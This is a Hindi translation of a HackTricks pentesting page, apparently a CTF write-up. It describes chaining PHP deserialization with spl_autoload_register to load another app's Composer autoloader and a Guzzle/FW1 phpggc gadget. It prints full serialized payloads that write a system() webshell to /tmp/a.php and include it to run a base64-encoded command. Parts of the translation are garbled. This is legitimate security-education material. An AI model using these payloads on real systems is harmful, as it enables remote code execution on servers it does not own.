hacktricks/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md

14 KiB

PHP - डीसीरियलाइजेशन + ऑटोलोड क्लासेस

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

पहले, आपको देखना चाहिए कि ऑटोलोडिंग क्लासेस क्या हैं।

PHP डीसीरियलाइजेशन + spl_autoload_register + LFI/Gadget

हम एक स्थिति में हैं जहाँ हमने एक वेब ऐप में PHP डीसीरियलाइजेशन पाया है जिसमें phpggc के अंदर कोई गैजेट वलनरेबल लाइब्रेरी नहीं है। हालांकि, उसी कंटेनर में एक वलनरेबल लाइब्रेरी के साथ अलग कंपोजर वेब ऐप था। इसलिए, लक्ष्य था कि दूसरे वेब ऐप के कंपोजर लोडर को लोड करें और इसका दुरुपयोग करें ताकि उस लाइब्रेरी को एक गैजेट के साथ उत्पीड़ित करें जो डीसीरियलाइजेशन के लिए वलनरेबल वेब ऐप से है।

चरण:

  • आपने एक डीसीरियलाइजेशन पाया है और वर्तमान ऐप कोड में कोई गैजेट नहीं है
  • आप निम्नलिखित तरह का spl_autoload_register फ़ंक्शन दुरुपयोग कर सकते हैं ताकि .php एक्सटेंशन वाली किसी भी स्थानीय फ़ाइल को लोड करें
  • इसके लिए आप एक डीसीरियलाइजेशन का दुरुपयोग करते हैं जिसमें क्लास का नाम $name के अंदर होगा। आप "/" या "." का उपयोग एक सीरीयलाइज्ड ऑब्जेक्ट में क्लास नाम में नहीं कर सकते हैं, लेकिन कोड ने अंडरस्कोर ("_") को स्लैश ("/") में बदल दिया है। इसलिए, एक क्लास नाम जैसे tmp_passwd को /tmp/passwd.php में बदल दिया जाएगा और कोड इसे लोड करने की कोशिश करेगा।
    एक गैजेट उदाहरण होगा: O:10:"tmp_passwd":0:{}
spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

{% hint style="success" %} यदि आपके पास एक फ़ाइल अपलोड है और आप एक फ़ाइल अपलोड कर सकते हैं जिसमें .php एक्सटेंशन है, तो आप इस कार्यक्षमता का सीधा दुरुपयोग कर सकते हैं और पहले से ही RCE प्राप्त कर सकते हैं। {% endhint %}

मेरे मामले में, मेरे पास ऐसा कुछ नहीं था, लेकिन एक ही कंटेनर में एक और कॉम्पोज़र वेब पेज था जिसमें एक phpggc गैजेट के लिए एक लाइब्रेरी वंशवत था।

  • इस दूसरी लाइब्रेरी को लोड करने के लिए, पहले आपको उस दूसरे वेब ऐप के कॉम्पोज़र लोडर को लोड करना होगा (क्योंकि मौजूदा एप्लिकेशन का वन अन्य की लाइब्रेरी तक पहुंच नहीं होगा)। एप्लिकेशन के पथ को जानते हुए, आप इसे बहुत आसानी से प्राप्त कर सकते हैं: O:28:"www_frontend_vendor_autoload":0:{} (मेरे मामले में, कॉम्पोज़र लोडर /www/frontend/vendor/autoload.php में था)
  • अब, आप अन्य ऐप कॉम्पोज़र लोडर को लोड कर सकते हैं, तो अब समय है phpggc पेलोड उपयोग करने के लिए। मेरे मामले में, मैंने Guzzle/FW1 का उपयोग किया, जिसने मुझे फ़ाइल सिस्टम के अंदर कोई भी फ़ाइल लिखने की अनुमति दी।
  • ध्यान दें: उत्पन्न गैजेट काम नहीं कर रहा था, इसे काम करने के लिए मैंने उस पेलोड chain.php को संशोधित किया और सभी विशेषताएँ क्लासों की निजी से सार्वजनिक में सेट की। अगर नहीं, स्ट्रिंग को डिसीरियलाइज़ करने के बाद, बनाए गए ऑब्जेक्ट्स की विशेषताएँ कोई मान नहीं रखती थीं।
  • अब हमारे पास तरीका है अन्य ऐप कॉम्पोज़र लोडर को लोड करने का और एक काम करने वाला phpggc पेलोड है, लेकिन हमें इसे इसी अनुरोध में करने की आवश्यकता है ताकि गैजेट का उपयोग किया जाए जब लोडर लोड हो। उसके लिए, मैंने एक सीरीयलाइज़ एरे भेजा जिसमें दोनों ऑब्जेक्ट्स थे:
  • आप पहले लोडर को लोड होते देख सकते हैं और फिर पेलोड

{% code overflow="wrap" %}

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}

{% endcode %}

  • अब, हम एक फ़ाइल बना सकते हैं और लिख सकते हैं, हालांकि, उपयोगकर्ता वेब सर्वर के अंदर किसी भी फ़ोल्डर में लिख नहीं सकता था। इसलिए, जैसा कि आप पेलोड में देख सकते हैं, PHP system को कुछ base64 के साथ बनाया गया है /tmp/a.php में। फिर, हम दूसरे वेबऐप के कॉम्पोज़र लोडर को लोड करने के लिए पहले प्रकार के पेलोड को पुनः प्रयोग कर सकते हैं जिसे हमने LFI के रूप में उपयोग किया था /tmp/a.php फ़ाइल को लोड करने के लिए। इसे डेसीरियलाइज़ेशन गैजेट में जोड़ें:

{% code overflow="wrap" %}

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

{% endcode %}

पेलोड का सारांश

  • एक अलग वेबऐप के कंटेनर में कॉम्पोजर ऑटोलोड लोड करें
  • फिलहाल वेबऐप के लाइब्रेरी का दुरुपयोग करने के लिए एक फीजी साधन लोड करें (जिस पर डेसीरियलाइजेशन के लिए विकल्प वेबऐप में कोई गैजेट नहीं था)
  • फीजी एक फ़ाइल बनाएगा जिसमें PHP पेलोड होगा जिसमें दुराचारी कमांड होंगे (/tmp/a.php में) (वेबऐप उपयोगकर्ता किसी भी वेबऐप के किसी भी फ़ोल्डर में लिख नहीं सकता)
  • हमारे पेलोड का अंतिम हिस्सा उस उत्पन्न PHP फ़ाइल को लोड करेगा जो कमांड निष्पादित करेगा

मुझे इस डेसीरियलाइजेशन को दो बार कॉल करने की आवश्यकता थी। मेरे परीक्षण में, पहली बार /tmp/a.php फ़ाइल बनाई गई थी लेकिन लोड नहीं हुई, और दूसरी बार यह सही ढंग से लोड हुई।

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके: